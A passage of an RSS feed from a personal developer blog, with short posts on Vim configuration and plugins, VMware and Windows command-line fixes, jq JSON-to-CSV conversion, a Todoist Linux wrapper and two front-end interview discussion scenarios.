Value &lt;code>1&lt;/code> in this case means &amp;ldquo;fold everything and then unfold it back by one level&amp;rdquo;.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>So in case you have class defined then this class will be unfolded and fully visible but all
methods inside will be folded.&lt;/p>
&lt;p>Here is the example:&lt;/p>
&lt;center>&lt;a target="_blank" href="https://codelearn.me/assets/img/vim-folding.png">&lt;img alt="fun first" src="https://codelearn.me/assets/img/vim-folding.png" width="100%"/>&lt;/a>
&lt;small>Please not, in this case I use `set foldlevelstart=2` because class is wrapped in module. &lt;/smalL>&lt;/center>
&lt;br/>
&lt;p>Here is keybindings to fold/unfold your code:&lt;/p>
&lt;ul>
&lt;li>&lt;code>zo&lt;/code> - open folded part&lt;/li>
&lt;li>&lt;code>zO&lt;/code> - open folded part with all sub-foldings&lt;/li>
&lt;li>&lt;code>zc&lt;/code> - fold the code&lt;/li>
&lt;li>&lt;code>zM&lt;/code> - fold everything&lt;/li>
&lt;li>&lt;code>zR&lt;/code> - unfold everything&lt;/li>
&lt;li>&lt;code>zm&lt;/code> - change fold level (fold everything by one step)&lt;/li>
&lt;li>&lt;code>zr&lt;/code> - unfold everything (unfold by one step)&lt;/li>
&lt;/ul>
&lt;p>Folding mechanism is great in Vim, and actually in every other editors, but I never used it
mostly because I&amp;rsquo;m too lazy to fold the code.
Since Vim does it for me (&lt;code>set foldlevelstart=1&lt;/code>) I always have something folded and it&amp;rsquo;s easy
to always remember and use this feature.&lt;/p>
&lt;p>Try it!&lt;/p></description></item><item><title>Vim, dumb-jump</title><link>https://codelearn.me/2018/12/02/vim-dumb-jump.html</link><pubDate>Sun, 02 Dec 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/12/02/vim-dumb-jump.html</guid><description>&lt;p>hi everyone,&lt;/p>
&lt;p>I&amp;rsquo;m currently using Vim in my day to day work, and if you don&amp;rsquo;t know I migrated from
another perfect editor called Emacs.&lt;/p>
&lt;p>It was pretty easy to migrate since I used evil-mode in Emacs but the only library/plugin
I miss is &lt;a href="https://github.com/jacktasia/dumb-jump">dumb-jump&lt;/a> which is brilliant because
allows you to jump to definition without any CTAGS/GTAGS.&lt;/p>
&lt;p>There is brilliant guy &lt;a href="https://github.com/bounceme">Chris Paul&lt;/a> who made &lt;code>dim-jump&lt;/code> plugin which does the same as &lt;code>dumb-jump&lt;/code>.&lt;/p>
&lt;p>Moreover the plugin is using &lt;code>dumb-jump&lt;/code> rules and download them at the first usage of the plugin.&lt;/p>
&lt;p>Just add&lt;/p>
&lt;pre tabindex="0">&lt;code>Plug &amp;#34;bounceme/dim-jump&amp;#34;
&lt;/code>&lt;/pre>&lt;p>to your &lt;code>.vimrc&lt;/code>/&lt;code>init.vim&lt;/code> and have fun.&lt;/p>
&lt;p>The plugin currently just jumps to the first most relevant definition found which is not always correct for me.&lt;/p>
&lt;p>In case you need a fixed version which shows you all possible founds add my fork to you &lt;code>.vimrc&lt;/code>/&lt;code>init.vim&lt;/code> file:&lt;/p>
&lt;pre tabindex="0">&lt;code>Plug &amp;#39;KryDos/dim-jump&amp;#39;, { &amp;#39;branch&amp;#39;: &amp;#39;krydos-adaptation&amp;#39; }
&lt;/code>&lt;/pre>&lt;p>I&amp;rsquo;ll update this post as soon as my changes will be accepted by Chris,
otherwise choose between these two versions of plugin depending on your needs.&lt;/p></description></item><item><title>Vim, project specific settings</title><link>https://codelearn.me/2018/11/20/vim-project-specific-settings.html</link><pubDate>Tue, 20 Nov 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/11/20/vim-project-specific-settings.html</guid><description>&lt;p>Hey,
I&amp;rsquo;ve just been looking for a good plugin that can help me to configure some VIM variables per project.&lt;/p>
&lt;p>For example I want &lt;code>set shiftwidth=2&lt;/code> for my JavaScript project and &lt;code>set shiftwidth=4&lt;/code> for PHP one.&lt;/p>
&lt;p>Turned out no plugin needed.&lt;/p>
&lt;p>Just put this to your &lt;code>.vimrc&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-vim" data-lang="vim">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">silent&lt;/span>! &lt;span style="color:#a6e22e">so&lt;/span> .&lt;span style="color:#a6e22e">vimlocal&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now if you put &lt;code>.vimlocal&lt;/code> file to your project root, it will be sourced and &amp;ldquo;executed&amp;rdquo;.&lt;/p>
&lt;p>&lt;code>silent!&lt;/code> is using to supress warnings when there is no .vimlocal file in a directory.&lt;/p></description></item><item><title>Ebay API and Platform Notifications</title><link>https://codelearn.me/2018/11/02/ebay-api-issues.html</link><pubDate>Fri, 02 Nov 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/11/02/ebay-api-issues.html</guid><description>&lt;p>If your web site isn&amp;rsquo;t receiving the notifications from Ebay even though you have everything configured AND &lt;strong>you&amp;rsquo;re using oAuth tokens&lt;/strong> for &lt;code>SetNotificationsPreferences&lt;/code> request then you have nothing to do except contact the Ebay support.&lt;/p>
&lt;p>Currently they have a special &lt;strong>whitelist&lt;/strong> where they have to add your &lt;code>APP ID&lt;/code> and the only way to add your app to that &lt;strong>whitelist&lt;/strong> is to contact them.
You can actually try to post a thread on their forum, but in this case you have to wait while someone form ebay staff will notice it.&lt;/p>
&lt;p>Unfortunately the Support costs money and the price is &lt;strong>$75/hour&lt;/strong>. Good news is they are not billing you for the request to whitelist your app so you can spend that hour for something else.&lt;/p></description></item><item><title>vim-easygrep</title><link>https://codelearn.me/2018/08/31/vim-easygrep.html</link><pubDate>Fri, 31 Aug 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/08/31/vim-easygrep.html</guid><description>&lt;p>I&amp;rsquo;m currently trying to use Vim instead of Emacs and one of important workflow I&amp;rsquo;ve used to
is grepping things in a project.&lt;/p>
&lt;p>There are few options:&lt;/p>
&lt;ul>
&lt;li>use &lt;code>:vimgrep something **/*&lt;/code>. It&amp;rsquo;s pretty long to type so I don&amp;rsquo;t really like it.&lt;/li>
&lt;li>bind that vimgrep command to a key sequence. Which is better but still not ideal.&lt;/li>
&lt;li>&lt;a href="https://github.com/dkprice/vim-easygrep">EasyGrep&lt;/a>. The tool I chose.&lt;/li>
&lt;/ul>
&lt;p>My config looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-vim" data-lang="vim">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">let&lt;/span> &lt;span style="color:#a6e22e">g&lt;/span>:&lt;span style="color:#a6e22e">EasyGrepCommand&lt;/span>=&lt;span style="color:#e6db74">&amp;#34;grep&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">let&lt;/span> &lt;span style="color:#a6e22e">g&lt;/span>:&lt;span style="color:#a6e22e">EasyGrepRoot&lt;/span>=&lt;span style="color:#e6db74">&amp;#34;repository&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">let&lt;/span> &lt;span style="color:#a6e22e">g&lt;/span>:&lt;span style="color:#a6e22e">EasyGrepRecursive&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">let&lt;/span> &lt;span style="color:#a6e22e">g&lt;/span>:&lt;span style="color:#a6e22e">EasyGrepFilesToExclude&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;vendor,docker,node_modules&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>By default EasyGrep use &lt;code>vimgrep&lt;/code> which is not able to ignore folders as far as I got.&lt;/p>
&lt;p>So setting &lt;code>grep&lt;/code> as &lt;code>EasyGrepCommand&lt;/code> makes &lt;code>EasyGrepFilesToExclude&lt;/code> being considered.&lt;/p>
&lt;p>Setting &lt;code>EasyGrepRoot&lt;/code> to &lt;code>repository&lt;/code> turns EasyGrep to &amp;ldquo;search from project root&amp;rdquo; mode.&lt;/p>
&lt;p>Now I can just place my cursor to a word I want to search for, press &lt;code>&amp;lt;Leader&amp;gt;vv&lt;/code> and that&amp;rsquo;s it.&lt;/p>
&lt;p>Works like a charm.&lt;/p></description></item><item><title>Frontend Developer interview. Help for interviewers (1)</title><link>https://codelearn.me/2018/07/16/frontend-interview-discuss.html</link><pubDate>Mon, 16 Jul 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/07/16/frontend-interview-discuss.html</guid><description>&lt;h2 id="the-problem">The problem&lt;/h2>
&lt;p>I&amp;rsquo;m not a huge fan of questions on interviews similar to:&lt;/p>
&lt;ul>
&lt;li>do you know X&lt;/li>
&lt;li>did you use Y&lt;/li>
&lt;li>what is the difference between X and Y&lt;/li>
&lt;li>etc&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>Live coding is not something I like as well due to some reasons.&lt;/p>
&lt;p>What really helps me to understand how good candidate is, is to discuss some real situations with him/her.&lt;/p>
&lt;p>Below is one hypothetical projects to discuss with a candidate.&lt;/p>
&lt;p>Also check out the &lt;a href="https://codelearn.me/2018/07/16/frontend-interview-discuss-part-2.html">Part 2 of this post&lt;/a>&lt;/p>
&lt;h2 id="the-project">The project&lt;/h2>
&lt;p>Given a Single Page Application (SPA). The main purpose of the app is to store movies a user added for himself.
Some kind of bookmarks.&lt;/p>
&lt;p>Features are:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>add new movie&lt;/p>
&lt;ul>
&lt;li>add title&lt;/li>
&lt;li>add description&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>show list of movies a user have added (only his/her movies)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>API has all required routes to store/fetch movies of a user&lt;/p>
&lt;/li>
&lt;/ul>
&lt;br/>
&lt;p>&lt;strong>The problem&lt;/strong> is our users have no stable internet connection for some reason.&lt;/p>
&lt;p>&lt;strong>The question&lt;/strong> how we can allow users to save movies even if the internet connection is lost?&lt;/p>
&lt;p>Possible flow:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Candidate usually starts with the idea to use Local Storage for storing all the data while internet is off.
Which is definitely make sense. Here you can ask how he/she is going to integrate it:&lt;/p>
&lt;ul>
&lt;li>Should it be separated module/class? (&lt;strong>definitely yes&lt;/strong>)&lt;/li>
&lt;li>Should developer use that module/class when internet is off and use calls to a server when internet is on?
(&lt;strong>the answer can be very varied, but it should be some kind of
general class that internally detects internet activity so the user of module (developer) should not think about
current state of internet connection and use different modules/classes for saving/fetching movies&lt;/strong>)&lt;/li>
&lt;li>Probably there should be some kind of queue to make sure movies are sent to remote API in the same order they were
added.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>When (if) you have discussed with a candidate all that above&amp;rsquo;s points and he/she did great you can
complicate the task a bit and say &amp;ldquo;Now we want to extend our &lt;strong>add new movie&lt;/strong> page with an image of movie&amp;rdquo;.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Here you should pay attention to the way a candidate thinks. He/She probably should come up with the idea
that using Local Storage will not be enough if we&amp;rsquo;re going to store images. Remember that we cannot use links
since we&amp;rsquo;re possibly offline.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Basically there are not too many possible options. &lt;a href="https://developer.mozilla.org/ru/docs/IndexedDB">IndexedDB&lt;/a> is
something we can try to use in this case.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Don&amp;rsquo;t hesitate to ask other questions you&amp;rsquo;re interesting in. It&amp;rsquo;s also OK if candidate don&amp;rsquo;t know the answer,
sometimes we don&amp;rsquo;t have answers too. We usually google in this case, but a candidate can&amp;rsquo;t so it&amp;rsquo;s completely OK
to give some help to him or her.&lt;/p>
&lt;p>If you&amp;rsquo;d like to get more understanding on what knowledge the frontend candidate should have please refer to &lt;a href="https://www.toptal.com/front-end/how-to-hire">How to Hire a Front-end Developer&lt;/a> by TopTal.&lt;/p>
&lt;p>Take a look at another project you can discuss with an applicant &lt;a href="https://codelearn.me/2018/07/16/frontend-interview-discuss-part-2.html">here&lt;/a>.&lt;/p></description></item><item><title>Frontend Developer interview. Help for interviewers (2)</title><link>https://codelearn.me/2018/07/16/frontend-interview-discuss-part-2.html</link><pubDate>Mon, 16 Jul 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/07/16/frontend-interview-discuss-part-2.html</guid><description>&lt;p>If you didn&amp;rsquo;t look at &lt;a href="https://codelearn.me/2018/07/16/frontend-interview-discuss.html">Part 1&lt;/a> of this post please check it out.&lt;/p>
&lt;h2 id="project-2">Project 2&lt;/h2>
&lt;p>Given a news site and its admin area. In admin area there are many users. Each user can edit a news-post.&lt;/p>
&lt;p>&lt;strong>Our goal&lt;/strong> is to make sure only one user can edit a post even if multiple users are visited the same news-post for editing. Users visited a news-post after the first user should see the &amp;ldquo;someone else is editing the post&amp;rdquo; message.&lt;/p>
&lt;p>&lt;strong>More info about the project:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s not a single page application&lt;/li>
&lt;li>Backend part of the code already able to lock/unlock the post internally (we just need to call the function).&lt;/li>
&lt;li>Backend developer can implement endpoints/services a candidate ask.&lt;/li>
&lt;/ul>
&lt;h2 id="possible-flow">Possible flow:&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>Candidate usually come up with the idea to use Web Sockets. If so, you can ask candidate about how it should work.&lt;/p>
&lt;ul>
&lt;li>What message(s) should be send by web socket client to a server?&lt;/li>
&lt;li>What answer should be send by web socket server so client can know that post is blocked?&lt;/li>
&lt;li>How to make sure two users will not block the post?&lt;/li>
&lt;li>When user leaves a post who should be the next &amp;ldquo;owner&amp;rdquo; of a post if multiple other users are on a post page?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>When you have discussed all that possible implementations for web socket you can tell candidate that
&amp;ldquo;&lt;strong>unfortunately we don&amp;rsquo;t have ability to setup web socket server on
our production and have to come up with something else&lt;/strong>&amp;rdquo;.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Something else is &lt;strong>long polling&lt;/strong> technique which is basically periodic Ajax requests to a server.&lt;/p>
&lt;ul>
&lt;li>Frontend can have two Ajax requests sending by interval (one is to lock, another one is to check if locked)&lt;/li>
&lt;li>Backend should receive the &amp;ldquo;lock&amp;rdquo; and lock the post &lt;strong>TEMPORARY&lt;/strong>.&lt;/li>
&lt;li>If no another &amp;ldquo;lock&amp;rdquo; request received by the same user we should unlock the post (temp record should be removed)&lt;/li>
&lt;li>Lock the post when there is no &amp;ldquo;lock&amp;rdquo; on the post and mark that post is locked by a user.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>I hope this project and the project from Part 1 will help you to understand more about your candidate.&lt;/p></description></item><item><title>VMWare run/stop VM from command line</title><link>https://codelearn.me/2018/06/09/vmware-run-stop-vm-from-cli.html</link><pubDate>Sat, 09 Jun 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/06/09/vmware-run-stop-vm-from-cli.html</guid><description>&lt;p>Hi everyone,&lt;/p>
&lt;p>so here are two basic commands you can wrap in functions or anything else to run/stop VM of &lt;strong>VMWare Workstation&lt;/strong>.&lt;/p>
&lt;p>&lt;strong>Important note&lt;/strong>, all commands are for Windows. They should work for other systems I guess with minimal or no changes.&lt;/p>
&lt;h2>To start a VM use this command&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>vmrun -T ws start &lt;span style="color:#e6db74">&amp;#34;C:\vms\workstation.vmx&amp;#34;&lt;/span> nogui
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>nogui&lt;/code> option in this case forces the vmrun NOT to open the GUI window.
&lt;code>workstation.vmx&lt;/code> is a file, usually is the same as your VM name.&lt;/p>
&lt;h2>To stop a VM&lt;/h2>
&lt;p>There is nothing special. Just stop instead of start.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>vmrun -T ws stop &lt;span style="color:#e6db74">&amp;#34;C:\vms\workstation.vmx&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can check out the output of &lt;code>vmrun&lt;/code> command to see a bit more options to manage VMs.&lt;/p>
&lt;p>Also take a look at my &lt;a href="https://codelearn.me/2018/02/18/run-commands-on-guest-vm.html">other&lt;/a>, &lt;a href="https://codelearn.me/2018/02/18/virtualbox-headless-mode.html">posts&lt;/a> related to pretty the same subject but for VirtualBox.&lt;/p></description></item><item><title>Fix Windows 10 search</title><link>https://codelearn.me/2018/06/02/fix-windows-search.html</link><pubDate>Sat, 02 Jun 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/06/02/fix-windows-search.html</guid><description>&lt;h2 id="the-issue">The issue&lt;/h2>
&lt;p>The Windows 10 search is not working. No results. Infinite loading.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>Reinstall Cortana (even if you don&amp;rsquo;t use it at all)&lt;/p>
&lt;ul>
&lt;li>open &lt;code>powershell&lt;/code> (with win+r and type &lt;code>powershell&lt;/code>)&lt;/li>
&lt;li>paste this:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>Get-AppXPackage -Name Microsoft.Windows.Cortana | &lt;span style="color:#66d9ef">Foreach&lt;/span> {Add-AppxPackage -DisableDevelopmentMode -Register &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$($_.InstallLocation)&lt;span style="color:#e6db74">\AppXManifest.xml&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It should take couple of seconds.&lt;/p>
&lt;p>There are other solutions related to folders permission and registry keys but non of them did help.&lt;/p></description></item><item><title>Makefile helper for Laradock</title><link>https://codelearn.me/2018/05/12/laradock-helper.html</link><pubDate>Sat, 12 May 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/05/12/laradock-helper.html</guid><description>&lt;p>Hey,&lt;/p>
&lt;h2 id="the-project-link">The project link&lt;/h2>
&lt;p>&lt;a href="https://github.com/KryDos/laradock-helper">https://github.com/KryDos/laradock-helper&lt;/a> is the project repo.&lt;/p>
&lt;h2 id="what-is-this">What is this?&lt;/h2>
&lt;p>Since recently I work mostly with Laravel and run it with &lt;a href="http://laradock.io/">Laradock&lt;/a>
I&amp;rsquo;ve came up with some Makefile targets I use constantly instead of running some commands manually.&lt;/p>
&lt;p>Like an example are migration or seed commands, or commands to join php container I can call just
&lt;code>make run-migrations&lt;/code> or &lt;code>make join-php&lt;/code> which is faster.&lt;/p>
&lt;p>Hope it can be useful for someone else too.&lt;/p></description></item><item><title>Todoist for Linux</title><link>https://codelearn.me/2018/04/22/todoist-linux.html</link><pubDate>Sun, 22 Apr 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/04/22/todoist-linux.html</guid><description>&lt;p>Hey everyone.&lt;/p>
&lt;h2 id="links-first">Links first&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://github.com/KryDos/todoist-linux/releases/">DEB (Ubuntu/Debian/Mint/etc&amp;hellip;)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/KryDos/todoist-linux/releases/">RPM (Fedora/Suse/etc&amp;hellip;)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/KryDos/todoist-linux/releases/">Portable Windows version&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Here is the &lt;a href="https://github.com/KryDos/todoist-linux">Github&lt;/a> page of the project.
You can download releases from there as well.&lt;/p>
&lt;h2 id="global-keybindings">Global keybindings&lt;/h2>
&lt;ul>
&lt;li>CTRL+ALT+a - quick add a task&lt;/li>
&lt;li>CTRL+ALT+t - show or hide the app window&lt;/li>
&lt;/ul>
&lt;p>These are the only keybindings I need. If you need anything else let me know.&lt;/p>
&lt;h2 id="motivation">Motivation&lt;/h2>
&lt;p>I thought it should be good idea to have Todoist opened as an application instead of tab in a browser.&lt;/p>
&lt;p>Todoist supports a lot of different platforms but not Linux.
So I&amp;rsquo;ve made Electron wrapper for Todoist&amp;rsquo;s web version.&lt;/p>
&lt;p>The main reason why I couldn&amp;rsquo;t use it as a web version is lack of global keybindings.&lt;/p>
&lt;p>Let me know about bugs or features you want to see in the project.&lt;/p></description></item><item><title>JSON to CSV with BASH</title><link>https://codelearn.me/2018/04/10/json-to-csv-with-bash.html</link><pubDate>Tue, 10 Apr 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/04/10/json-to-csv-with-bash.html</guid><description>&lt;p>Hey, recently I&amp;rsquo;ve posted about &lt;a href="https://codelearn.me/2018/03/23/format-curl-json.html">jq&lt;/a> and today I&amp;rsquo;m going
to explain how I used it to parse JSON from web (retrieved with CURL) and turn it to CSV.&lt;/p>
&lt;p>First of all let&amp;rsquo;s see what JSON we have:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;data&amp;#34;&lt;/span>&lt;span style="color:#f92672">:&lt;/span> [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;short_data&amp;#34;&lt;/span>&lt;span style="color:#f92672">:&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;name&amp;#34;&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#34;value1&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;link&amp;#34;&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#34;value2&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;long_data&amp;#34;&lt;/span>&lt;span style="color:#f92672">:&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;company_name&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;value3&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;company_position&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;value4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {&lt;span style="color:#75715e">/*...*/&lt;/span>},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {&lt;span style="color:#75715e">/*...*/&lt;/span>},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {&lt;span style="color:#75715e">/*...*/&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>Ok, the CSV we want to get is:&lt;/p>
&lt;pre tabindex="0">&lt;code>name,link,company_name,company_position
value1,value2,value3,value4
value1,value2,value3,value4
...
&lt;/code>&lt;/pre>&lt;br/>
&lt;p>And here is how simple it is:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>jq -r &lt;span style="color:#e6db74">&amp;#39;.data | map(.short_data.name), map(.short_data.link), map(.long_data.company_name), map(.long_data.company_position) | @csv&amp;#39;&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&amp;lt;&lt;/span> $OUTPUT
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>&lt;code>$OUTPUT&lt;/code> - is variable containing the JSON string (retrieved with CURL in my case)&lt;/p>
&lt;p>As you can see jq has it&amp;rsquo;s own pipe and we can fetch values from json &amp;ldquo;path&amp;rdquo; and pass it to &lt;code>@csv&lt;/code> handler.&lt;/p>
&lt;p>Looks great but the result is a bit different from what we were expected:&lt;/p>
&lt;pre tabindex="0">&lt;code>value1,value1,value1,value1
value2,value2,value2,value2
value3,value3,value3,value3
value4,value4,value4,value4
...
&lt;/code>&lt;/pre>&lt;br/>
&lt;p>What do we need is transpose the output. &lt;a href="https://github.com/Chris00/ocaml-csv">csvtool&lt;/a> is great package that allow us to do it.
We can pipe our csv to &lt;code>&amp;lt;csv&amp;gt; | csvtool transpose -&lt;/code> and get result we need.&lt;/p>
&lt;p>And final command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>jq -r &lt;span style="color:#e6db74">&amp;#39;.data | map(.short_data.name), map(.short_data.link), map(.long_data.company_name), map(.long_data.company_position) | @csv&amp;#39;&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&amp;lt;&lt;/span> $OUTPUT | csvtool transpose -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>leads to result:&lt;/p>
&lt;pre tabindex="0">&lt;code>value1,value2,value3,value4
value1,value2,value3,value4
...
&lt;/code>&lt;/pre>&lt;br/>
exactly what we need.</description></item><item><title>Custom icon for terminal application in gnome-shell</title><link>https://codelearn.me/2018/03/25/weechat-icon-gnome-shell.html</link><pubDate>Sun, 25 Mar 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/03/25/weechat-icon-gnome-shell.html</guid><description>&lt;p>Hey,&lt;/p>
&lt;h2 id="the-problem">The problem&lt;/h2>
&lt;p>Recently I wanted to create separated &amp;ldquo;window&amp;rdquo; for my weechat
so I can easily alt-tab to it.&lt;/p>
&lt;p>I&amp;rsquo;ve wrote the .desktop file and place it to &lt;code>~/.local/share/applications&lt;/code> so
gnome-shell (I&amp;rsquo;m on ubuntu 17.10) will show me it.&lt;/p>
&lt;p>And it did, BUT when I start the weechat the icon turned to &amp;ldquo;terminal-like&amp;rdquo;.&lt;/p>
&lt;p>Hm&amp;hellip;&lt;/p>
&lt;h2 id="play-with-terminal-icon">play with terminal icon&lt;/h2>
&lt;p>Ok, there is terminals like &lt;code>xfce4-terminal&lt;/code> that allows to set custom icon
when terminal is starting&amp;hellip; so let&amp;rsquo;s try&lt;/p>
&lt;pre tabindex="0">&lt;code>xfce4-terminal -I /the/icon/i/need -e /usr/bin/weechat
&lt;/code>&lt;/pre>&lt;br/>
&lt;p>&amp;hellip;aaaand nothing!&lt;/p>
&lt;p>There are other temrinals allows us to set custom icon but non of them was working.&lt;/p>
&lt;h2 id="the-reason">The reason&lt;/h2>
&lt;p>It turned out the gnome-shell overrides everything it thinks is a terminal with the icon from theme currently used.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>Discarding some guesses I decided that gnome-shell determines that app belongs to &amp;ldquo;terminal family&amp;rdquo; based on WM_CLASS
window property (you can see them using &lt;code>xprop&lt;/code>). Thanks god (or gnome developers) the gnome-terminal has &lt;code>--class&lt;/code> option
that overrides the WM_CLASS property. After that my .desktop file just works.&lt;/p>
&lt;p>Here is an example:&lt;/p>
&lt;pre tabindex="0">&lt;code>[Desktop Entry]
Version=1.9.1
Name=Weechat
Comment=Weechat the IRC client
Exec=gnome-terminal --role=weechat --class=weechat -- /usr/bin/weechat
Icon=/usr/share/icons/hicolor/32x32/apps/weechat.png
Terminal=False
Type=Application
Categories=Chat;Development;
&lt;/code>&lt;/pre>&lt;p>See &lt;code>Exec&lt;/code> value with &lt;code>--role&lt;/code> and &lt;code>--class&lt;/code> options.&lt;/p></description></item><item><title>CURL get formatted JSON</title><link>https://codelearn.me/2018/03/23/format-curl-json.html</link><pubDate>Fri, 23 Mar 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/03/23/format-curl-json.html</guid><description>&lt;p>Hey,&lt;/p>
&lt;p>Sometimes I check HTTP responses with CURL so it would be great to format JSON responses.&lt;/p>
&lt;p>There is cool &lt;a target="_blank" href="https://stedolan.github.io/jq/">command line JSON parser&lt;/a> and you can pipe CURL output to it like that:&lt;/p>
